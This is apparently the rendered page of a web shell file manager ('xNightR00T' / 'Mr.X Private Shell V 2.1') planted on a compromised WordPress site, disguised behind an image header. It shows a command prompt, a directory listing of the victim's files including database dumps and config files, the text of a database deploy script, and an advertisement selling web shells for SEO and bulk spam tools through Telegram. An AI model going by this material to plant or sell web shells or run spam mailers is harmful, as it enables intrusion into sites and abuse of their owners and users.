xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/bin/bash
# Script Deploy Database
# Backup database hiện tại và chạy file SQL mới
#
# Usage: ./deploy_db.sh [file.sql]
# Example: ./deploy_db.sh merge_db/output.sql
#          ./deploy_db.sh output.sql

set -e  # Dừng nếu có lỗi

# Màu sắc cho output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# Load config
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source "$SCRIPT_DIR/db_config.sh"

# Kiểm tra tham số
if [ $# -eq 0 ]; then
    echo -e "${RED}❌ Lỗi: Chưa chỉ định file SQL${NC}"
    echo ""
    echo "Usage: $0 [file.sql]"
    echo ""
    echo "Ví dụ:"
    echo "  $0 merge_db/output.sql"
    echo "  $0 output.sql"
    exit 1
fi

SQL_FILE="$1"

# Kiểm tra file SQL có tồn tại không
if [ ! -f "$SQL_FILE" ]; then
    # Thử với đường dẫn trong thư mục script
    if [ -f "$SCRIPT_DIR/$SQL_FILE" ]; then
        SQL_FILE="$SCRIPT_DIR/$SQL_FILE"
    # Thử trong thư mục merge_db
    elif [ -f "$SCRIPT_DIR/merge_db/$SQL_FILE" ]; then
        SQL_FILE="$SCRIPT_DIR/merge_db/$SQL_FILE"
    else
        echo -e "${RED}❌ Lỗi: File SQL không tồn tại: $SQL_FILE${NC}"
        exit 1
    fi
fi

# Kiểm tra thông tin database
if [ -z "$DB_NAME" ] || [ -z "$DB_USER" ] || [ -z "$DB_HOST" ]; then
    echo -e "${RED}❌ Lỗi: Thiếu thông tin database configuration${NC}"
    echo "Vui lòng kiểm tra file db_config.sh hoặc wp-config.php"
    exit 1
fi

# Timestamp cho backup
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
BACKUP_FILE="$BACKUP_DIR/backup_${DB_NAME}_${TIMESTAMP}.sql"
BACKUP_INFO_FILE="$BACKUP_DIR/backup_${DB_NAME}_${TIMESTAMP}.info"

echo -e "${BLUE}========================================${NC}"
echo -e "${BLUE}  DEPLOY DATABASE${NC}"
echo -e "${BLUE}========================================${NC}"
echo ""
echo -e "Database: ${GREEN}$DB_NAME${NC}"
echo -e "Host: ${GREEN}$DB_HOST${NC}"
echo -e "User: ${GREEN}$DB_USER${NC}"
echo -e "File SQL: ${GREEN}$SQL_FILE${NC}"
echo ""

# Bước 1: Backup database hiện tại
echo -e "${YELLOW}📦 Bước 1: Đang backup database...${NC}"
echo "Backup file: $BACKUP_FILE"

# Lưu thông tin backup
cat > "$BACKUP_INFO_FILE" <<EOF
TIMESTAMP=$TIMESTAMP
BACKUP_FILE=$BACKUP_FILE
SQL_FILE=$SQL_FILE
DEPLOY_DATE=$(date +"%Y-%m-%d %H:%M:%S")
DB_NAME=$DB_NAME
DB_HOST=$DB_HOST
EOF

# Export password để không bị prompt
export MYSQL_PWD="$DB_PASSWORD"

# Backup database
if $MYSQLDUMP_CMD -h "$DB_HOST" -u "$DB_USER" "$DB_NAME" > "$BACKUP_FILE" 2>/dev/null; then
    BACKUP_SIZE=$(du -h "$BACKUP_FILE" | cut -f1)
    echo -e "${GREEN}✅ Backup thành công!${NC}"
    echo -e "   Kích thước: $BACKUP_SIZE"
    echo ""
else
    echo -e "${RED}❌ Lỗi: Không thể backup database${NC}"
    echo "Vui lòng kiểm tra:"
    echo "  - Database credentials"
    echo "  - Kết nối đến database server"
    echo "  - Quyền truy cập database"
    exit 1
fi

# Bước 2: Chạy file SQL mới
echo -e "${YELLOW}🚀 Bước 2: Đang chạy file SQL mới...${NC}"

# Kiểm tra xem file SQL có rỗng không
if [ ! -s "$SQL_FILE" ]; then
    echo -e "${YELLOW}⚠️  Cảnh báo: File SQL trống, bỏ qua${NC}"
    exit 0
fi

# Chạy SQL
if $MYSQL_CMD -h "$DB_HOST" -u "$DB_USER" "$DB_NAME" < "$SQL_FILE" 2>/dev/null; then
    echo -e "${GREEN}✅ Deploy thành công!${NC}"
    echo ""
    echo -e "${BLUE}========================================${NC}"
    echo -e "${GREEN}  KẾT QUẢ${NC}"
    echo -e "${BLUE}========================================${NC}"
    echo -e "📦 Backup: ${GREEN}$BACKUP_FILE${NC}"
    echo -e "🚀 Deploy: ${GREEN}$SQL_FILE${NC}"
    echo -e "📅 Thời gian: ${GREEN}$(date +"%Y-%m-%d %H:%M:%S")${NC}"
    echo ""
    echo -e "${YELLOW}💡 Lưu ý: Backup đã được lưu tại $BACKUP_FILE${NC}"
    echo -e "   Bạn có thể rollback bằng: ${BLUE}./rollback_db.sh $TIMESTAMP${NC}"
    echo ""
else
    echo -e "${RED}❌ Lỗi: Không thể chạy file SQL${NC}"
    echo ""
    echo -e "${YELLOW}🔄 Đang rollback về backup trước đó...${NC}"
    
    # Tự động rollback nếu có lỗi
    if [ -f "$BACKUP_FILE" ]; then
        if $MYSQL_CMD -h "$DB_HOST" -u "$DB_USER" "$DB_NAME" < "$BACKUP_FILE" 2>/dev/null; then
            echo -e "${GREEN}✅ Đã rollback về backup trước đó${NC}"
        else
            echo -e "${RED}❌ Lỗi: Không thể rollback tự động${NC}"
            echo -e "${YELLOW}⚠️  Vui lòng rollback thủ công: ${BLUE}./rollback_db.sh $TIMESTAMP${NC}"
        fi
    fi
    exit 1
fi

# Unset password
unset MYSQL_PWD

Filemanager

Name Type Size Permission Actions
.git Folder 0755
backup Folder 0777
merge_db Folder 0777
wp-admin Folder 0777
wp-content Folder 0775
wp-includes Folder 0777
.gitignore File 172 B 0777
.htaccess File 538 B 0777
backup.zip File 276.23 MB 0644
db_config.sh File 1.27 KB 0777
deploy_db.sh File 4.53 KB 0777
error.log File 0 B 0777
index.php File 469 B 0777
index_2.php File 480 B 0644
install_7.0_en.sh File 83.92 KB 0777
license.txt File 19.44 KB 0777
output.sql File 80.33 MB 0777
readme.html File 7.25 KB 0777
requests.log File 0 B 0777
rollback_db.sh File 6.2 KB 0777
setup.sh File 473 B 0644
test.html File 11 B 0777
test.php File 21 B 0777
vn_gateway_08_23.sql File 103.12 MB 0777
wp-activate.php File 7.18 KB 0777
wp-blog-header.php File 351 B 0777
wp-comments-post.php File 2.27 KB 0777
wp-config-sample.php File 3.26 KB 0777
wp-config.php File 3.4 KB 0664
wp-content.zip File 3.28 GB 0644
wp-cron.php File 5.49 KB 0777
wp-errors.log File 9.91 KB 0777
wp-links-opml.php File 2.43 KB 0777
wp-load.php File 3.84 KB 0777
wp-login.php File 50.23 KB 0777
wp-mail.php File 8.52 KB 0777
wp-settings.php File 30.33 KB 0777
wp-signup.php File 33.71 KB 0777
wp-trackback.php File 5.09 KB 0777
xmlrpc.php File 3.13 KB 0777
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml